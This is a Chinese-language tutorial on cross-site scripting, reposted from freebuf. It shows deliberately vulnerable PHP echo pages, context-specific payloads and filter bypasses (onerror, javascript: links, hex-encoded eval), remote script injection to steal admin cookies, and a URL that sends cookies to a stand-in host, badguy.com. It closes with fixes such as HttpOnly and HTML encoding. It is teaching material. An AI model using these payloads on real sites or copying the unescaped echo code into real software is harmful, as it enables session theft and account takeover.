xss攻擊原理

轉自 http://www.freebuf.com/articles/web/40520.html

0×01 前言:

《xss攻擊手法》一開始在互聯網上資料並不多(都是現成的代碼,沒有從基礎的開始),直到刺的《白帽子講WEB安全》和cn4rry的《XSS跨站腳本攻擊剖析與防禦》纔開始好轉。

我這裏就不說什麼xss的歷史什麼東西了,xss是一門又熱門又不太受重視的Web攻擊手法,爲什麼會這樣呢,原因有下:

1、耗時間
2、有一定機率不成功
3、沒有相應的軟件來完成自動化攻擊
4、前期需要基本的html、js功底,後期需要紮實的html、js、actionscript2/3.0等語言的功底
5、是一種被動的攻擊手法
6、對website有http-only、crossdomian.xml沒有用

但是這些並沒有影響黑客對此漏洞的偏愛,原因不需要多,只需要一個

Xss幾乎每個網站都存在,google、baidu、360等都存在。

0×02 原理:

首先我們現在本地搭建個PHP環境(可以使用phpstudy安裝包安裝),然後在index.php文件裏寫入如下代碼:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS原理重現</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你輸入的字符爲<br>'.$xss;
?>
</body>
</html>

然後,你會在頁面看到這樣的頁面


我們試着輸入abcd123,得到的結果爲


我們在看看源代碼


我們輸入的字符串被原封不動的輸出來了,那這裏我們提出來一個假設,假設我們在搜索框輸入<script>alert('xss')</script>會出現什麼呢?如果按照上面的例子來說,它應該存在第12行的<br>與</boby>之間,變成<br><script>alert('xss')</script></boby>,那應該會彈出對話框。

既然假設提出來,那我們來實現下這個假設成不成立吧。

我們輸入<script>alert('xss')</script>,得到的頁面爲


成功彈窗,這個時候基本上就可以確定存在xss漏洞。

我們在看看源代碼


看來,我們的假設成功了,這節就說說XSS的原理,下面幾節說說xss的構造和利用

0×03 xss利用輸出的環境來構造代碼 :

上節說了xss的原理,但是我們的輸出點不一在<br>和</boby>裏,可以出現在html標籤的屬性裏,或者其他標籤裏面。所以這節很重要,因爲不一定 當你輸入

<script>alert('xss')</script>就會彈窗。

先貼出代碼:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS利用輸出的環境來構造代碼</title>
</head>
<body>
<center>
<h6>把我們輸入的字符串 輸出到input裏的value屬性裏</h6>
<form action="" method="get">
<h6>請輸入你想顯現的字符串</h6>
<input type="text" name="xss_input_value" value="輸入"><br>
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input_value'];
if(isset($xss)){
echo '<input type="text" value="'.$xss.'">';
}else{
echo '<input type="type" value="輸出">';
}
?>
</center>
</body>
</html>

下面是代碼的頁面


這段代碼的作用是把第一個輸入框的字符串,輸出到第二個輸入框,我們輸入1,那麼第二個input裏的value值就是1,下面是頁面的截圖和源代碼的截圖(這裏我輸入<script>alert('xss')</script>來測試)

明顯的可以看到,並沒有彈出對話框,大家可能會疑惑爲什麼沒有彈窗呢,我們來看看源代碼

我們看到我們輸入的字符串被輸出到第15行input標籤裏的value屬性裏面,被當成value裏的值來顯現出來,所以並沒有彈窗,這時候我們該怎麼辦呢?聰明的人已經發現了可以在<script>alert(&#039;xss&#039;)</script>前面加個">來閉合input標籤。所以應該得到的結果爲

成功彈窗了,我們在看看這時的頁面

看到後面有第二個input輸入框後面跟有">字符串,爲什麼會這樣呢,我們來看看源代碼

這時可以看到我們構造的代碼裏面有兩個">,第一個">是爲了閉合input標籤,所以第二個">就被拋棄了,因爲html的容錯性高,所以並沒有像php那樣出現錯誤,而是直接把多餘的字符串來輸出了,有的人是個完美主義者,不喜歡有多餘的字符串被輸出,這時該怎麼辦呢?

這裏我問大家一個問題,我之前說的xss代碼裏,爲什麼全是帶有標籤的。難道就不能不帶標籤麼?!答:當然可以。既然可以不用標籤,那我們就用標籤裏的屬性來構造XSS,這樣的話,xss代碼又少,又不會有多餘的字符串被輸出來。

還是這個環境,但是不能使用標籤,你應該怎麼做。想想input裏有什麼屬性可以調用js,html學的好的人,應該知道了,on事件,對的。我們可以用on事件來進行彈窗,比如這個xss代碼 我們可以寫成" οnclick="alert(&#039;xss&#039;)

這時,我們在來試試,頁面會發生什麼樣的變化吧。

沒有看到彈窗啊,失敗了麼?答案當然是錯誤的,因爲onclick是鼠標點擊事件,也就是說當你的鼠標點擊第二個input輸入框的時候,就會觸發onclick事件,然後執行alert(&#039;xss&#039;)代碼。我們來試試看

當我點擊後,就出現了彈窗,這時我們來看看源代碼把

第15行,value值爲空,當鼠標點擊時,就會彈出對話框。這裏可能就會有人問了,如果要點擊纔會觸發,那不是很麻煩麼,成功率不就又下降了麼。我來幫你解答這個問題,on事件不止onclick這一個,還有很多,如果你想不需要用戶完成什麼動作就可以觸發的話,i可以把onclick改成

Onmousemove 當鼠標移動就觸發

Onload 當頁面加載完成後觸發

還有很多,我這裏就不一一說明了,有興趣的朋友可以自行查詢下。

別以爲就這樣結束了,還有一類環境不能用上述的方法,

那就是如果在<textarea>標籤裏呢?!或者其他優先級比script高的呢?

就下面這樣

這時我們該怎麼辦呢?既然前面都說了閉合屬性和閉合標籤了,那能不能閉合完整的標籤呢,答案是肯定的。我們可以輸入</textarea><script>alert('xss')</script>就可以實現彈窗了

0×04 過濾的解決辦法

假如說網站禁止過濾了script 這時該怎麼辦呢,記住一句話,這是我總結出來的“xss就是在頁面執行你想要的js”不用管那麼多,只要能運行我們的js就OK,比如用img標籤或者a標籤。我們可以這樣寫

<img scr=1 onerror=alert('xss')>當找不到圖片名爲1的文件時,執行alert('xss')
<a href=javascrip:alert('xss')>s</a> 點擊s時運行alert('xss')
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr來彈窗
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>過濾了alert來執行彈窗

等等有很多的方法,不要把思想總侷限於一種上面,記住一句話“xss就是在頁面執行你想要的js”其他的管他去。(當然有的時候還有管他…)

0×05 xss的利用

說了那麼多,大家可能都以爲xss就是彈窗,其實錯了,彈窗只是測試xss的存在性和使用性。

這時我們要插入js代碼了,怎麼插呢?

你可以這樣

<script scr="js_url"></script>

也可以這樣

<img src=x onerror=appendChild(createElement('script')).src='js_url' />

各種姿勢,各種插,只要鞥運行我們的js就OK。那運行我們的js有什麼用呢?

Js可以幹很多的事,可以獲取cookies(對http-only沒用)、控制用戶的動作(發帖、私信什麼的)等等。

比如我們在網站的留言區輸入<script scr="js_url"></script>當管理員進後臺瀏覽留言的時候,就會觸發,然後管理員的cookies和後臺地址還有管理員瀏覽器版本等等你都可以獲取到了,再用“桂林老兵cookie欺騙工具”來更改你的cookies,就可以不用輸入賬號 密碼 驗證碼 就可以以管理員的方式來進行登錄了。

至於不會js的怎麼寫js代碼呢,放心網上有很多xss平臺,百度一下就可以看到了。頁面是傻瓜式的操作,這裏就不再過多的說明了。



修復XSS

原則: 不相信客戶輸入的數據
注意:  攻擊代碼不一定在<script></script>中

  1. 將重要的cookie標記爲http only,   這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
  2. 只允許用戶輸入我們期望的數據。 例如: 年齡的textbox中,只允許用戶輸入數字。 而數字之外的字符都過濾掉。
  3. 對數據進行Html Encode 處理
  4. 過濾或移除特殊的Html標籤, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 過濾JavaScript 事件的標籤。例如 "οnclick=", "onfocus" 等等。

XSS之所以會發生, 是因爲用戶輸入的數據變成了代碼。 所以我們需要對用戶輸入的數據進行HTML Encode處理。 將其中的"中括號", “單引號”,“引號” 之類的特殊字符進行編碼。




HTML Encode 和URL Encode的區別

剛開始我老是把這兩個東西搞混淆, 其實這是兩個不同的東西。 

HTML編碼前面已經介紹過了,關於URL 編碼是爲了符合url的規範。因爲在標準的url規範中中文和很多的字符是不允許出現在url中的。

例如在baidu中搜索"測試漢字"。 URL會變成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

 

所謂URL編碼就是: 把所有非字母數字字符都將被替換成百分號(%)後跟兩位十六進制數,空格則編碼爲加號(+



1. Dom-Based XSS 漏洞 攻擊過程如下

Tom 發現了Victim.com中的一個頁面有XSS漏洞,

例如: http://victim.com/search.asp?term=apple

服務器中Search.asp 頁面的代碼大概如下

複製代碼
<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>
複製代碼

Tom 先建立一個網站http://badguy.com,  用來接收“偷”來的信息。
然後Tom 構造一個惡意的url(如下), 通過某種方式(郵件,QQ)發給Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica點擊了這個URL, 嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執行. 那麼Monica在victim.com網站的cookie, 就會被髮送到badguy網站中。這樣Monica在victim.com 的信息就被Tom盜了.








發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章